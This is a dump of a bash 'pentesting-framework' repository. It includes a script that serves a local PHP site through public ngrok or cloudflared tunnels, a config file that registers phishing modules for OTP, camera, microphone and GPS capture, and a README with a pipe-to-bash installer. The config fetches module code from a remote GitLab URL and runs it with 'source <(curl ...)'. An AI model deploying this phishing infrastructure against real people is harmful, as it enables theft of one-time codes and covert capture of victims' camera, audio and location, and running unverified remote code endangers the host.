} 31 | stop() { 32 | if [[ $checkngrok == *'ngrok'* ]]; then 33 | pkill -f -2 ngrok > /dev/null 2>&1 34 | killall -2 ngrok > /dev/null 2>&1 35 | fi 36 | checkcloudflared=$(ps aux | grep -o "cloudflared" | head -n1) 37 | checkngrok=$(ps aux | grep -o "ngrok" | head -n1) 38 | checkphp=$(ps aux | grep -o "php" | head -n1) 39 | checkssh=$(ps aux | grep -o "ssh" | head -n1) 40 | if [[ $checkcloudflared == *'cloudflared'* ]]; then 41 | killall -2 cloudflared > /dev/null 2>&1 42 | fi 43 | if [[ $checkngrok == *'ngrok'* ]]; then 44 | pkill -f -2 ngrok > /dev/null 2>&1 45 | killall -2 ngrok > /dev/null 2>&1 46 | fi 47 | if [[ $checkphp == *'php'* ]]; then 48 | killall -2 php > /dev/null 2>&1 49 | fi 50 | if [[ $checkssh == *'ssh'* ]]; then 51 | killall -2 ssh > /dev/null 2>&1 52 | fi 53 | 54 | if [[ `pidof php` ]]; then 55 | killall php > /dev/null 2>&1 56 | fi 57 | if [[ `pidof ngrok` ]]; then 58 | killall ngrok > /dev/null 2>&1 59 | fi 60 | if [[ `pidof cloudflared` ]]; then 61 | killall cloudflared > /dev/null 2>&1 62 | fi 63 | } 64 | 65 | stop &> /dev/null 66 | 67 | ngrok-server() 68 | { 69 | if [[ $OS == *'Android'* ]];then 70 | ./ngrok http ${port} > /dev/null 2>&1 & 71 | else 72 | sudo ./ngrok http ${port} > /dev/null 2>&1 & 73 | fi 74 | 75 | 76 | http_ngrok() { 77 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io") 78 | } 79 | 80 | sleep 0 81 | CLR 82 | 83 | net_check 84 | http_ngrok 85 | 86 | if [[ -z $link ]];then 87 | printf "$link" &> /dev/null 88 | progress-bar "__wait__ 10" "0.0350" "prog:1" "Starting Server at http Port : (${port})..." -r 89 | printf "${b0SIGN} Started Server at http Port : (${port})..." 90 | http_ngrok 91 | printf "$link" &> /dev/null 92 | fi 93 | if [[ -z $link ]];then 94 | CLR 95 | printf "\e[94m(\e[0m>\e[94m)\e[0m Ngrok error, debug: ./ngrok http (${port})...\e[0m\n" 96 | stop &> /dev/null 97 | exit 1 98 | fi 99 | } 100 | 101 | cloudflare-server() 102 | { 103 | if [[ -f ".cflare.log" ]] 104 | then 105 | rm .cflare.log &> /dev/null 106 | fi 107 | 108 | #php -S localhost:8080 > /dev/null 2>&1 & 109 | 110 | if [[ $OS == *'Android'* ]];then 111 | proot -0 ./cloudflared tunnel -url 127.0.0.1:${port} --logfile .cflare.log > /dev/null 2>&1 & 112 | else 113 | ./cloudflared tunnel -url 127.0.0.1:${port} --logfile .cflare.log > /dev/null 2>&1 & 114 | fi 115 | 116 | http_cloudflared() { 117 | link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cflare.log") 118 | } 119 | sleep 0 120 | CLR 121 | 122 | net_check 123 | sleep 1 124 | http_cloudflared &> /dev/null 125 | 126 | if [[ -z $link ]];then 127 | printf "$link" &> /dev/null 128 | progress-bar "__wait__ 5" "0" "prog:4" "Starting Server at http Port : (${port})..." -r 129 | printf "${b0SIGN} Started Server at http Port : (${port})..." 130 | http_cloudflared &> /dev/null 131 | printf "$link" &> /dev/null 132 | fi 133 | if [[ -z $link ]];then 134 | CLR 135 | printf "\e[94m(\e[0m>\e[94m)\e[0m cloudflared error, debug: ./cloudflared http (${port})...\e[0m\n" 136 | stop &> /dev/null 137 | exit 1 138 | fi 139 | } 140 | 141 | get_input() 142 | { 143 | if [[ $input == "1" ]] 144 | then 145 | link="http://127.0.0.1:${port}" 146 | elif [[ $input == "2" ]] 147 | then 148 | cloudflare-server 149 | elif [[ $input == "3" ]] 150 | then 151 | ngrok-server 152 | fi 153 | 154 | CLR 155 | printf "\e[94m(\e[0m>\e[94m)\e[0m Your https link : \e[4m${link}\e[0m\n" 156 | } 157 | 158 | 159 | read -r -p "${R4}psf${R0} (${C1}web/path${R0}) > " path 160 | 161 | if [[ ! -d "${path}" ]] 162 | then 163 | printf "${r0SIGN} path not found.\n" 164 | exit 1 165 | fi 166 | 167 | read -r -p "${R4}psf${R0} (${C1}web/port${R0}) > " port 168 | cd ${path} 169 | printf "\n" 170 | php -S localhost:${port} > /dev/null 2>&1 & 171 | cd ${DIR}/server 172 | get_input 173 | -------------------------------------------------------------------------------- /assets/logos/logo.20: -------------------------------------------------------------------------------- 1 | 2 | SL0() { 3 | sleep 0.01 4 | } 5 | 6 | SL() { 7 | sleep 0.1 8 | } 9 | 10 | printf "\e[0m\e[0m ____________________ \e[0m\n";SL0 11 | printf "\e[92m<\e[0m Wake up to Reality!\e[92m />\e[0m\n";SL0 12 | printf "\e[0m -------------------- \e[0m\e[00m\n";SL0 13 | printf "\e[49m \e[m\n";SL0 14 | printf "\e[49m \e[49;38;2;0;0;0m▀\e[38;2;16;16;16;48;2;1;1;1m▄\e[38;2;134;136;143;48;2;26;27;28m▄\e[38;2;170;173;182;48;2;30;31;33m▄\e[38;2;166;169;178;48;2;18;18;19m▄\e[38;2;136;136;144;48;2;8;8;8m▄\e[38;2;30;15;18;48;2;0;0;0m▄\e[38;2;24;9;12;48;2;0;0;0m▄\e[38;2;11;4;5;48;2;0;0;0m▄\e[38;2;2;0;0;48;2;0;0;0m▄\e[38;2;0;0;0;49m▄▄\e[49m \e[38;2;0;0;0;49m▄▄\e[38;2;5;3;7;48;2;0;0;0m▄\e[38;2;19;14;23;48;2;0;0;0m▄\e[38;2;39;30;47;48;2;0;0;0m▄\e[38;2;48;37;59;48;2;0;0;0m▄\e[38;2;75;57;91;48;2;2;1;3m▄\e[38;2;60;46;74;48;2;6;4;7m▄\e[38;2;84;64;102;48;2;11;9;15m▄\e[38;2;70;53;84;48;2;13;10;16m▄\e[38;2;13;10;16;48;2;1;1;2m▄\e[48;2;0;0;0m \e[49m \e[m\n";SL 15 | printf "\e[49m \e[49;38;2;10;10;10m▀\e[38;2;16;17;18;48;2;48;50;52m▄\e[38;2;165;168;176;48;2;184;187;195m▄\e[38;2;225;226;231;48;2;214;216;222m▄\e[38;2;203;172;181;48;2;184;167;175m▄\e[38;2;167;30;50;48;2;117;25;41m▄\e[38;2;119;20;35;48;2;75;18;29m▄\e[38;2;142;26;43;48;2;71;22;32m▄\e[38;2;23;5;8;48;2;45;17;24m▄\e[38;2;96;22;35;48;2;31;12;17m▄\e[38;2;40;13;19;48;2;6;2;3m▄\e[38;2;36;17;22;48;2;0;0;0m▄\e[38;2;18;18;19;48;2;0;0;0m▄\e[38;2;0;0;0;49m▄\e[49m \e[38;2;0;0;0;49m▄\e[38;2;9;6;11;48;2;0;0;0m▄\e[38;2;50;38;61;48;2;0;0;0m▄\e[38;2;59;45;72;48;2;9;6;10m▄\e[38;2;98;78;115;48;2;49;37;59m▄\e[38;2;35;28;42;48;2;77;58;93m▄\e[38;2;103;85;117;48;2;96;74;115m▄\e[38;2;106;90;119;48;2;89;71;105m▄\e[38;2;154;140;170;48;2;124;107;141m▄\e[38;2;152;140;168;48;2;130;115;146m▄\e[38;2;153;141;169;48;2;125;112;139m▄\e[38;2;99;84;115;48;2;104;87;121m▄\e[38;2;16;12;19;48;2;31;24;38m▄\e[38;2;0;0;0;48;2;6;6;10m▄\e[49m \e[m\n";SL 16 | printf "\e[49m \e[49;38;2;13;13;13m▀\e[38;2;13;13;13;48;2;63;64;68m▄\e[38;2;141;143;148;48;2;224;225;230m▄\e[38;2;214;205;211;48;2;205;180;188m▄\e[38;2;151;48;64;48;2;150;26;45m▄\e[38;2;159;28;47;48;2;46;7;13m▄\e[38;2;138;24;40;48;2;175;31;52m▄\e[38;2;139;24;41;48;2;156;29;48m▄\e[38;2;53;8;15;48;2;161;28;48m▄\e[38;2;151;30;48;48;2;122;23;38m▄\e[38;2;158;85;97;48;2;119;59;71m▄\e[38;2;201;204;210;48;2;134;135;141m▄\e[38;2;147;149;157;48;2;52;53;55m▄\e[38;2;57;57;60;48;2;0;0;0m▄\e[38;2;0;0;0;49m▄\e[49m \e[38;2;0;0;0;49m▄\e[38;2;24;17;28;48;2;0;0;0m▄\e[38;2;51;39;62;48;2;9;7;13m▄\e[38;2;121;105;136;48;2;66;50;80m▄\e[38;2;128;116;141;48;2;110;91;129m▄\e[38;2;152;139;168;48;2;117;104;132m▄\e[38;2;129;114;143;48;2;135;115;151m▄\e[38;2;128;109;144;48;2;132;109;150m▄\e[38;2;118;100;131;48;2;139;115;156m▄\e[38;2;150;136;165;48;2;121;105;134m▄\e[38;2;142;130;157;48;2;157;143;173m▄\e[38;2;158;144;173;48;2;155;142;171m▄\e[38;2;92;82;102;48;2;141;129;155m▄\e[38;2;20;16;21;48;2;56;48;64m▄\e[38;2;0;0;0;48;2;12;9;14m▄\e[49m \e[m\n";SL 17 | printf "\e[49m \e[49;38;2;0;0;0m▀\e[38;2;0;0;0;48;2;23;23;24m▄\e[38;2;4;4;5;48;2;151;152;155m▄\e[38;2;39;39;41;48;2;201;184;191m▄\e[38;2;150;144;149;48;2;167;37;58m▄\e[38;2;146;108;116;48;2;180;32;54m▄\e[38;2;141;85;96;48;2;175;31;52m▄\e[38;2;168;152;158;48;2;151;28;46m▄\e[38;2;224;227;232;48;2;173;82;97m▄\e[38;2;228;231;236;48;2;216;217;222m▄\e[38;2;228;231;236;48;2;226;229;234m▄\e[38;2;226;229;234;48;2;209;212;219m▄\e[38;2;205;208;214;48;2;132;134;140m▄\e[38;2;127;129;136;48;2;35;35;38m▄\e[38;2;14;14;14;48;2;0;0;0m▄\e[49m \e[38;2;2;0;2;48;2;0;0;0m▄\e[38;2;63;49;76;48;2;14;9;15m▄\e[38;2;122;107;140;48;2;54;41;65m▄\e[38;2;159;145;175;48;2;130;114;146m▄\e[38;2;156;143;173;48;2;153;139;169m▄\e[38;2;154;140;169;48;2;158;145;175m▄\e[38;2;162;148;178;48;2;148;137;164m▄\e[38;2;133;122;147;48;2;159;146;176m▄\e[38;2;117;106;129;48;2;166;152;183m▄\e[38;2;116;107;129;48;2;167;153;184m▄\e[38;2;113;104;125;48;2;156;143;172m▄\e[38;2;39;35;43;48;2;150;137;164m▄\e[38;2;6;5;6;48;2;119;110;133m▄\e[38;2;0;0;0;48;2;26;24;29m▄\e[49;38;2;0;0;0m▀\e[49m \e[m\n";SL 18 | printf "\e[49m \e[49;38;2;0;0;0m▀▀\e[49;38;2;5;5;5m▀\e[49;38;2;34;34;35m▀\e[49;38;2;60;61;62m▀\e[49;38;2;71;71;74m▀\e[49;38;2;79;80;81m▀\e[49;38;2;77;78;79m▀\e[49;38;2;78;79;80m▀\e[49;38;2;71;72;74m▀\e[49;38;2;41;41;45m▀\e[49;38;2;0;0;0m▀\e[49m \e[49;38;2;0;0;0m▀\e[49;38;2;17;12;21m▀\e[49;38;2;37;31;41m▀\e[49;38;2;52;47;57m▀\e[49;38;2;45;41;51m▀\e[49;38;2;52;47;58m▀\e[49;38;2;52;47;57m▀\e[49;38;2;42;38;46m▀\e[49;38;2;26;25;29m▀\e[49;38;2;5;5;6m▀\e[49;38;2;0;0;0m▀▀\e[49m \e[m\n";SL 19 | printf "\e[49m \e[m\n";SL 20 | 21 | -------------------------------------------------------------------------------- /assets/logos/logo.7: -------------------------------------------------------------------------------- 1 | 2 | 3 | SL() { 4 | sleep 0.01 5 | } 6 | 7 | printf "\e[0m\e[0m ______________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m Attention Please !!!\e[92m />\e[0m\n";SL 9 | printf "\e[0m ---------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m \e[0m \e[0m\n";SL 11 | printf "\e[0m \e[0m \e[38;5;30m▄▄▄\e[48;5;37m▀\e[48;5;233m▄▄▄\e[0m \e[0m \e[0m\n";SL 12 | printf "\e[0m \e[0m \e[0m \e[0m \e[38;5;24m▄\e[38;5;31;48;5;31m \e[38;5;30;48;5;233m▄\e[0m \e[0m \e[0m\n";SL 13 | printf "\e[0m \e[0m \e[38;5;24m▄\e[38;5;31;48;5;31m \e[38;5;24;48;5;233m▄\e[0m \e[0m \e[0m\n";SL 14 | printf "\e[0m \e[0m \e[38;5;24m▄\e[38;5;31;48;5;31m \e[38;5;24;48;5;233m▄\e[0m \e[0m \e[0m \e[0m \e[0m\n";SL 15 | printf "\e[0m \e[0m \e[38;5;24m▄\e[38;5;72;48;5;31m▄\e[48;5;17m▀\e[48;5;233m▀\e[48;5;17m▀\e[48;5;233m▀\e[48;5;25m▀\e[38;5;23;48;5;31m▄\e[38;5;72m▄\e[38;5;23m▄\e[38;5;72;48;5;17m▀\e[48;5;233m▀\e[48;5;25m▀\e[48;5;18m▀\e[48;5;233m▀\e[48;5;31m▄\e[38;5;24;48;5;233m▄\e[0m \e[0m \e[0m\n";SL 16 | printf "\e[0m \e[0m \e[38;5;30m▄\e[38;5;36;48;5;17m▀\e[38;5;24m▄\e[38;5;17m \e[38;5;24;48;5;232m▀\e[48;5;233m▀\e[38;5;16;48;5;25m▄\e[0m \e[38;5;24m▀▀\e[38;5;17m \e[38;5;16;48;5;25m▄\e[38;5;17;48;5;233m▀\e[48;5;17m \e[38;5;24;48;5;233m▀\e[38;5;17;48;5;232m▀\e[38;5;24;48;5;17m▄\e[38;5;36m▀\e[38;5;37m▄\e[0m \e[0m \e[0m \e[0m\n";SL 17 | printf "\e[0m \e[0m \e[0m \e[38;5;37;48;5;37m█\e[0m \e[38;5;23;48;5;233m▀\e[38;5;30;48;5;232m▄\e[38;5;231m▀\e[48;5;231m▄\e[48;5;255m▄\e[0m \e[0m \e[38;5;234m▀\e[38;5;231;48;5;231m▄█\e[48;5;232m▀\e[38;5;72m▄\e[38;5;24;48;5;233m▀\e[0m \e[38;5;36;48;5;37m▀\e[0m \e[0m \e[0m \e[0m\n";SL 18 | printf "\e[0m \e[0m \e[38;5;25;48;5;25m \e[38;5;23;48;5;31m▀\e[0m \e[38;5;149;48;5;233m▀\e[48;5;150m▀\e[38;5;37;48;5;233m▄▄▄\e[48;5;37m \e[48;5;233m▄▄▄\e[38;5;149;48;5;150m▀\e[48;5;233m▀\e[0m \e[38;5;23;48;5;31m▀\e[38;5;25;48;5;25m \e[0m \e[0m \e[0m\n";SL 19 | printf "\e[0m \e[0m \e[0m \e[38;5;25;48;5;25m \e[38;5;31m▀\e[48;5;17m▄\e[0m \e[38;5;36;48;5;149m▀\e[48;5;36m███████\e[48;5;149m▀\e[0m \e[38;5;31;48;5;17m▄\e[48;5;25m▀\e[38;5;24;48;5;24m \e[0m \e[0m \e[0m\n";SL 20 | printf "\e[0m \e[0m \e[38;5;25;48;5;25m \e[38;5;31;48;5;31m \e[38;5;24;48;5;233m▄\e[38;5;71;48;5;17m▀\e[38;5;149;48;5;72m▄\e[38;5;72m▄▄▄\e[38;5;149m▄\e[38;5;71;48;5;233m▀\e[38;5;24m▄\e[38;5;31;48;5;31m \e[38;5;24;48;5;24m \e[38;5;25;48;5;25m \e[0m \e[0m \e[0m\n";SL 21 | printf "\e[0m \e[0m \e[38;5;16;48;5;24m▀▀\e[38;5;24m \e[38;5;25;48;5;25m \e[38;5;18;48;5;18m \e[38;5;31m▀\e[38;5;38;48;5;38m \e[38;5;149m▀\e[38;5;31;48;5;31m \e[38;5;24;48;5;18m▀\e[38;5;18m \e[38;5;25;48;5;25m \e[38;5;24;48;5;24m \e[38;5;25;48;5;25m \e[38;5;24;48;5;24m \e[38;5;16m \e[0m\e[0m \e[0m \e[0m\n";SL 22 | printf "\e[0m \e[0m \e[38;5;16;48;5;24m▀\e[38;5;24m \e[48;5;17m▀\e[38;5;17m ▀ ▄▄▀\e[38;5;24m▀\e[48;5;24m ▄ ▀\e[48;5;17m▄\e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;30m▄\e[38;5;24;48;5;24m \e[38;5;72;48;5;23m▄\e[38;5;149;48;5;72m▀▀▀▀▀▀▀▀▀▀▀▀▀▀\e[48;5;78m▀\e[48;5;72m▀▀▀▀▀▀▀▀\e[38;5;23m▀\e[38;5;24;48;5;24m \e[38;5;30;48;5;233m▄\e[0m \e[0m\n";SL 24 | printf "\e[0m \e[0m \e[38;5;24;48;5;24m▀ \e[38;5;36;48;5;36m████████████\e[48;5;79m▄\e[48;5;36m███\e[48;5;73m▄▀\e[48;5;36m███████\e[38;5;24;48;5;24m \e[0m \e[0m\n";SL 25 | printf "\e[0m \e[0m \e[38;5;31;48;5;24m▄\e[38;5;24m \e[38;5;36;48;5;36m█████████\e[38;5;30;48;5;30m█\e[38;5;36;48;5;36m█████████\e[38;5;37;48;5;37m█\e[38;5;36;48;5;36m█\e[38;5;37;48;5;37m██\e[38;5;36;48;5;36m██\e[38;5;24;48;5;24m \e[38;5;30;48;5;37m▀\e[0m \e[0m\n";SL 26 | printf "\e[0m \e[0m \e[0m \e[38;5;24;48;5;24m \e[38;5;18;48;5;18m \e[38;5;37;48;5;37m \e[48;5;18m▀\e[38;5;231m▄\e[38;5;18m \e[38;5;231;48;5;24m▄\e[38;5;37;48;5;18m▀\e[48;5;37m ▄ ▀ \e[38;5;18;48;5;18m \e[0m \e[0m\n";SL 27 | printf "\e[0m \e[0m \e[38;5;18;48;5;18m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;37;48;5;18m▄\e[0m \e[38;5;37;48;5;18m▄\e[38;5;38;48;5;38m \e[38;5;37m▀\e[48;5;37m \e[38;5;38;48;5;38m \e[38;5;37m▀\e[38;5;38m \e[38;5;18;48;5;18m \e[0m \e[0m \e[0m \e[0m\n";SL 28 | printf "\e[0m \e[0m \e[0m \e[38;5;18;48;5;18m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;31;48;5;17m▄\e[38;5;38;48;5;38m \e[38;5;31;48;5;17m▄\e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;31;48;5;31m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;37;48;5;37m \e[38;5;38;48;5;38m \e[38;5;18;48;5;18m▄\e[38;5;18m \e[0m \e[0m\n";SL 29 | printf "\e[0m \e[38;5;31;48;5;31m \e[0m\n";SL 30 | printf "\e[0m \e[38;5;25;48;5;25m \e[0m \e[0m\n";SL 31 | printf "\e[0m \e[0m\n";SL 32 | -------------------------------------------------------------------------------- /assets/extras/extra.conf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export eRAWLINK=https://gitlab.com/ankushbhagats/psf-extramodule/-/raw/main 4 | export RAWLINK=https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/master 5 | export eGITLINK=https://gitlab.com/ankushbhagats/psf-extramodule 6 | DIR="${POSTDIR}/psf-extramodule" 7 | PDIR="${POSTDIR}/psf-extramodule/programs" 8 | MDIR="${POSTDIR}/psf-extramodule/modules" 9 | 10 | info() 11 | { 12 | : 13 | } 14 | 15 | checkNET() 16 | { 17 | if [[ $NET == "off" ]] 18 | then 19 | echo -e "This module Required \e[94mInternet Connection\e[0m to Start!" 20 | exit 1 21 | fi 22 | } 23 | 24 | readINPUTe() { 25 | if [[ ${input} == "list" ]] 26 | then 27 | $1 28 | 29 | elif [[ ${input} =~ ^-?[0-9]*[.,]?[0-9]*[eE]?-?[0-9]+$ ]] 30 | then 31 | if [[ ${input} -lt $2 ]] 32 | then 33 | if [[ ! $__return__ == 105 ]];then 34 | source ${PDIR}/${3} 35 | else 36 | cd $TMPDIR || exit 1 37 | printf "${b0SIGN} Downloading Program... \r" 38 | source <(curl -sLo- "${eRAWLINK}/programs/$3") 39 | fi 40 | fi 41 | fi 42 | theERROR 43 | extarnalCMD 44 | } 45 | 46 | 47 | readINPUTSe() { 48 | if [[ $input == "$1" ]] 49 | then 50 | input="" 51 | if [[ ! $__return__ == 105 ]];then 52 | $2 ${PDIR}/$3 53 | else 54 | cd $TMPDIR || exit 1 55 | printf "${b0SIGN} Downloading Program...\r" 56 | blank 57 | $2 <(curl -sLo- "${eRAWLINK}/programs/$3") 58 | fi 59 | fi 60 | theERROR 61 | extarnalCMD 62 | } 63 | 64 | 65 | extra() 66 | { 67 | ARG1=$1 68 | printf "use :${1}/handler" 69 | } 70 | 71 | extraMODULES=( 72 | "$(extra phish/otpweb)" 73 | "$(extra phish/notpweb)" 74 | "$(extra phish/camweb)" 75 | "$(extra phish/micweb)" 76 | "$(extra phish/gpsweb)" 77 | ) 78 | 79 | #if [[ ${command} == ${LSMODULES} ]] && [[ ${#command} -gt 0 ]] && [[ ${#LSMODULES} -gt 0 ]] 80 | #then 81 | #echo "Ok" 82 | #fi 83 | 84 | 85 | if [[ ! $__return__ == 105 ]] 86 | then 87 | for i in "${extraMODULES[@]}" 88 | do 89 | KEY=$(printf "%02d" $NUM) 90 | LOOP=$((${LOOP:-0}+1)) 91 | LSMODULES=${i::$((${#i}))} 92 | if [[ ${command} == ${LSMODULES} ]] 93 | then 94 | if [[ ! -d ${DIR} ]] 95 | then 96 | printf "Extra Module Files Not Found Need to Download.\n" 97 | read -sp "Press Enter to Start Downloading." 98 | cd ${POSTDIR} 99 | git clone ${eGITLINK} 100 | cd - &> /dev/null 101 | else 102 | cd $DIR 103 | check_update() 104 | { 105 | [ $(git rev-parse HEAD) = $(git ls-remote $(git rev-parse --abbrev-ref @{u} | sed 's/\// /g') | cut -f1) ] && echo "eupdate=0" > $TMPDIR/eupdate.log || echo "eupdate=1" > $TMPDIR/eupdate.log 106 | } 107 | 108 | check_update &> /dev/null 109 | if [[ $eupdate == 1 ]] 110 | then 111 | git pull &> /dev/null 112 | echo "update=0" > $TMPDIR/eupdate.log 113 | fi 114 | cd - &> /dev/null 115 | fi 116 | break 117 | fi 118 | ((NUM++)) 119 | done 120 | fi 121 | 122 | if [[ ${command} == "$(msnum 1 1 @)" ]] 123 | then 124 | sname=otpweb 125 | checkNET 126 | description "${sname}" "$(msnum 1 1 ~~)" "yes" 127 | echo -e "${b0SIGN} $(msnum 1 1 :)" 128 | BUNDLE() 129 | { 130 | readINPUTe "list 1 1" "31" "PHISH/configure.conf" 131 | } 132 | writeCONFIGURE 1 1 133 | 134 | elif [[ ${command} == "$(msnum 1 2 @)" ]] 135 | then 136 | sname=notpweb 137 | checkNET 138 | description "${sname}" "$(msnum 1 2 ~~)" "yes" 139 | echo -e "${b0SIGN} $(msnum 1 2 :)" 140 | BUNDLE() 141 | { 142 | readINPUTe "list 1 2" "31" "PHISH/configure.conf" 143 | } 144 | writeCONFIGURE 1 2 145 | 146 | elif [[ ${command} == "$(msnum 1 3 @)" ]] 147 | then 148 | sname=gpsweb 149 | checkNET 150 | description "gpsweb" "$(msnum 1 3 ~~)" "yes" 151 | echo -e "${b0SIGN} $(msnum 1 3 :)" 152 | BUNDLE() 153 | { 154 | readINPUTe "list 1 3" "5" "PHISH/configure.conf" 155 | } 156 | writeCONFIGURE 1 3 157 | 158 | elif [[ ${command} == "$(msnum 1 4 @)" ]] 159 | then 160 | sname=camweb 161 | checkNET 162 | description "camweb" "$(msnum 1 4 ~~)" "yes" 163 | echo -e "${b0SIGN} $(msnum 1 4 :)" 164 | BUNDLE() 165 | { 166 | readINPUTe "list 1 4" "5" "PHISH/configure.conf" 167 | } 168 | writeCONFIGURE 1 4 169 | 170 | elif [[ ${command} == "$(msnum 1 5 @)" ]] 171 | then 172 | sname=micweb 173 | checkNET 174 | description "${sname}" "$(msnum 1 5 ~~)" "yes" 175 | echo -e "${b0SIGN} $(msnum 1 5 :)" 176 | BUNDLE() 177 | { 178 | readLIST "list 1 5" 179 | readINPUTSe "run" "source" "PHISH/configure.conf" 180 | } 181 | writeCONFIGURE 1 5 182 | 183 | fi 184 | 185 | abc() 186 | { 187 | if [[ ${command} == "$(extra phish/otpweb)" ]] 188 | then 189 | list 1 1 190 | while true 191 | do 192 | read -r -p "${R4}psf${R0} use(${C1}program/phish/otpweb${R0}) > " input 193 | readINPUT "list 1 1" 31 "OTPWEB/otpweb" 194 | done 195 | elif [[ ${command} == "$(extra phish/notpweb)" ]] 196 | then 197 | LIMIT=30 198 | list 1 2 199 | read -r -p "${R4}psf${R0} use(${C1}program/phish/notpweb${R0}) > " input 200 | readINPUT "list 1 1" 31 "NOTPWEB/notpweb" 201 | 202 | fi 203 | } 204 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | ![psfconsole](https://user-images.githubusercontent.com/63346676/119809462-c6bc4880-bf02-11eb-9756-0384878ead84.jpeg) 6 | 7 | [![Open in Cloud Shell](https://user-images.githubusercontent.com/27065646/92304704-8d146d80-ef80-11ea-8c29-0deaabb1c702.png)](https://console.cloud.google.com/cloudshell/open?git_repo=https://github.com/ankushbhagats/pentesting-framework&tutorial=README.md) [![Run on Repl.it](https://user-images.githubusercontent.com/27065646/92304596-bf719b00-ef7f-11ea-987f-2c1f3c323088.png)](https://repl.it/github/ankushbhagats/pentesting-framework) 8 | 9 | > **[`Disclaimer`](#)** 10 | 11 | The use of the `pentesting-framework` and/or its resources is complete responsibility of the end-user. Developers assume no liabiity and are not responsible for any misuse or damage caused by `pentesting-framework`. Some of your actions may be illegal and you can not use this software to test someone without written permission from person or company. 12 | 13 | > **[`Installation`](#)** 14 | 15 | **Installation method of psfconsole in your terminal.** 16 | 17 | ```bash <(curl -sL git.io/pSf) --install``` 18 | 19 | > **[`Dependencies`](#)** 20 | 21 | `Psfconsole` requires following packages to run properly - 22 | - `jq` 23 | - `php` 24 | - `curl` 25 | - `clang` 26 | - `git` 27 | - `subversion` 28 | - `python2` 29 | - `python3` 30 | 31 | > **[`Psf Commands`](#)** 32 | 33 | ``` 34 | Console Commands 35 | 36 | show - Command to displays option of a given type. 37 | quit - Command to exit psfconsole instance. 38 | clear - Command to clear screen. 39 | help - Command to show help meunu. 40 | search - Command to search available module. 41 | banner - Command to shows a random banner. 42 | history - Command to show command history. 43 | version - Command to show the framework version. 44 | 45 | 46 | Module Commands 47 | 48 | use - Command to call existing modules. 49 | list - Command to show available options 50 | info - Command to information about modules. 51 | back - Command to move back to main console. 52 | ``` 53 | 54 | > Console Command Usages. 55 | 56 | usage of `show modules` command in console. 57 | 58 | ```bash 59 | psf > show modules 60 | .... 61 | 62 | Usage: use with://handler 63 | 64 | .... 65 | 66 | Examples: 67 | use with:secure/hashes/handler 68 | ``` 69 | 70 | usage of `quit` command in console. 71 | ```bash 72 | psf > quit 73 | (>) Existing Psfconsole ... 74 | ``` 75 | 76 | usage of `search` command in console. 77 | ```bash 78 | psf > search 79 | Usage: search module: 80 | search submodule: 81 | 82 | Examples: 83 | search module:lookup 84 | search submodule:user 85 | ``` 86 | 87 | usage of `history` command in console. 88 | ```bash 89 | psf > history 90 | 1 show modules 91 | 2 quit 92 | 3 search 93 | 4 history 94 | ``` 95 | 96 | > Module Command Usages. 97 | 98 | usage of `use` command in module. 99 | ```bash 100 | psf > use with:secure/hashes/handler 101 | (>) Using configured with:secure/hashes mode 102 | psf use(program/secure/hashes) > 103 | ``` 104 | 105 | usage of `info` command in modules. 106 | ```bash 107 | psf use(program/secure/hashes) > info 108 | 109 | Name: hashes 110 | Module: withSECURE/HASHES 111 | Internet Required: not 112 | 113 | Description: 114 | module to generate hashing algorithm. 115 | ``` 116 | 117 | usage of `back` command in module. 118 | 119 | ```bash 120 | psf use(program/secure/hashes) > back 121 | psf > 122 | ``` 123 | 124 | usage of `list` command in module. 125 | ```bash 126 | psf use(program/secure/hashes) > list 127 | 128 | (01) Md5sum 129 | (02) Sha1sum 130 | (03) Sha224sum 131 | (04) Sha256sum 132 | (05) Sha384sum 133 | (06) Sha512sum 134 | (07) Shasum 135 | (08) Base64 136 | (09) Base32 137 | ``` 138 | 139 | > **[`Maintainer`](#)** 140 | 141 | This [pentesting-framework](https://github.com/ankushbhagats/pentesting-framework) is maintained by the following person. 142 | 143 |

144 | 145 |

146 | 147 | | ![Ankush Bhagat](https://avatars.githubusercontent.com/u/63346676?v=4) | 148 | | ----------------------------------------------------------------------------------------------------- | 149 | |

[Ankush Bhagat](https://github.com/ankushbhagats) |

150 | 151 | > [`Contributors`](https://github.com/ankushbhagats/pentesting-framework/blob/master/CONTRIBUTE.md) [`Creditors`](https://github.com/ankushbhagats/pentesting-framework/blob/master/CREDIT.md) 152 | 153 | Pentesting-Framework has a vibrant community of happy users and delightful contributors and creditors. Without all the time and help from our contributors, it wouldn't be so awesome. 154 | 155 | Thank you so much! 156 | -------------------------------------------------------------------------------- /assets/logos/logo.16: -------------------------------------------------------------------------------- 1 | 2 | 3 | SL() { 4 | sleep 0.01 5 | } 6 | 7 | 8 | printf "\e[0m\e[0m ________________________ \e[0m\n";SL 9 | printf "\e[92m<\e[0m Let the hacking begin.\e[92m />\e[0m\n";SL 10 | printf "\e[0m ------------------------ \e[0m\e[00m\n\n";SL 11 | printf " \e[38;5;233m▄▀\e[39m \e[38;5;233m▄▀\e[39m \e[00m\n";SL 12 | printf " \e[38;5;233m▄\e[39m \e[48;5;233;38;5;233m█\e[38;5;237m▄\e[49;38;5;233m▄\e[39m \e[48;5;233;38;5;233m█\e[48;5;237m▄\e[49m▀\e[39m \e[00m\n";SL 13 | printf " \e[48;5;237;38;5;237m█\e[49;38;5;233m▄\e[39m \e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m█\e[48;5;233;38;5;233m█\e[49;39m \e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m█\e[48;5;233m▄\e[49;38;5;233m▄\e[39m \e[38;5;236m▄\e[39m \e[00m\n";SL 14 | printf " 